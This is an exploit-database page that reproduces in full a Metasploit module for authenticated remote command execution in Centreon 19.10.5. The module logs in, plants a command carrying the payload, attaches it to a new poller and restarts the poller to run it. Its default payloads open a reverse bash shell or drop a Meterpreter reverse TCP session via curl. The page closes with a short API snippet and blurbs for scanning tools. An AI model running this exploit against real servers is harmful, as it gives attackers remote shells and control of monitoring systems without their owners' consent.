Search for hundreds of thousands of exploits

"Centreon 19.10.5 - 'Pollers' Remote Command Execution (Metasploit)"

Author

Exploit author

mekhalleh

Platform

Exploit platform

php

Release date

Exploit published date

2020-02-04

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',
      'Description' => %q{
        TODO
      },
      'Author' => [
        'Omri Baso', # discovery
        'Fabien Aunay', # discovery
        'mekhalleh (RAMELLA SΓ©bastien)' # this module
      ],
      'References' => [
        # TODO: waiting for CVE
        ['EDB', '47977']
      ],
      'DisclosureDate' => '2020-01-27',
      'License' => MSF_LICENSE,
      'Platform' => ['linux', 'unix'],
      'Arch' => [ARCH_CMD, ARCH_X64],
      'Privileged' => true,
      'Targets' => [
        ['Reverse shell (In-Memory)',
          'Platform' => 'unix',
          'Type' => :cmd_unix,
          'Arch' => ARCH_CMD,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_bash'
          }
        ],
        ['Meterpreter (Dropper)',
          'Platform' => 'linux',
          'Type' => :meterpreter,
          'Arch' => ARCH_X64,
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
            'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
  end

  def create_new_poller(poller_name, command_id)
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'name' => poller_name,
        'ns_ip_address' => '127.0.0.1',
        'localhost[localhost]' => '1',
        'is_default[is_default]' => '0',
        'remote_id' => '',
        'ssh_port' => '22',
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
        'engine_start_command' => 'service centengine start',
        'engine_stop_command' => 'service centengine stop',
        'engine_restart_command' => 'service centengine restart',
        'engine_reload_command' => 'service centengine reload',
        'nagios_bin' => '/usr/sbin/centengine',
        'nagiostats_bin' => '/usr/sbin/centenginestats',
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
        'broker_reload_command' => 'service cbd reload',
        'centreonbroker_cfg_path' => '/etc/centreon-broker',
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
        'centreonbroker_logs_path' => '/var/log/centreon-broker',
        'centreonconnector_path' => '',
        'init_script_centreontrapd' => 'centreontrapd',
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
        'pollercmd[0]' => command_id,
        'clone_order_pollercmd_0' => '',
        'ns_activate[ns_activate]' => '1',
        'submitA' => 'Save',
        'id' => '',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    return true
  end

  def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    poller_name = rand_text_alpha(8..42)

    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'command_name' => cmd_name,
        'command_type[command_type]' => '3',
        'command_line' => command,
        'resource' => '$CENTREONPLUGINS$',
        'plugins' => '/Centreon/SNMP',
        'macros' => '$ADMINEMAIL$',
        'command_example' => '',
        'listOfArg' => '',
        'listOfMacros' => '',
        'connectors' => '',
        'graph_id' => '',
        'command_activate[command_activate]' => '1',
        'command_comment' => '',
        'submitA' => 'Save',
        'command_id' => '',
        'type' => '3',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
    poller_id = get_poller_id(poller_name)

    ## Export configuration to reload to trigger the exploit.
    unless poller_id.nil?
      restart_exportation(poller_id)
    end
  end

  def get_auth
    print_status("Send authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => @cookies,
        'vars_post'  => {
          'useralias' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'submitLogin' => 'Connect',
          'centreon_token' => token
        }
      )
      return false unless response

      if response.redirect?
        if response.headers['location'].include?('main.php')
          print_status('Successful authenticated.')
          @cookies = response.get_cookies
          return true
        end
      end
    end

    print_bad('Your credentials are incorrect.')
    return false
  end

  def get_command_id(cmd_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {
          'p' => '60803',
          'type' => '3'
      }
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_poller_id(poller_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {'p' => '60901'}
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_session
    response = send_request_cgi(
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
  end

  def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
      'method' => 'GET',
      'uri' => uri,
      'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)

    return nil unless response
    return response.get_html_document.at('input[@name="centreon_token"]')['value']
  end

  def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})

    vprint_status(' -- Generating files.')
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'debug' => 'true',
          'generate' => 'true'
        }
      )
      return nil unless response

      vprint_status(' -- Restarting engine.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'mode' => '2'
        }
      )
      return nil unless response

      vprint_status(' -- Executing command.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
        'cookie' => @cookies,
        'vars_post' => {'poller' => poller_id}
      )
      return nil unless response
    end
  end

  def check
    # TODO: Detection by version number (waiting to know the impacted versions).
  end

  def exploit
    ## TODO: check

    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
      case target['Type']
      when :cmd_unix
        execute_command(payload.encoded)
      when :meterpreter
        execute_command(generate_cmdstager.join)
      end
    end
  end

end
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47994/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.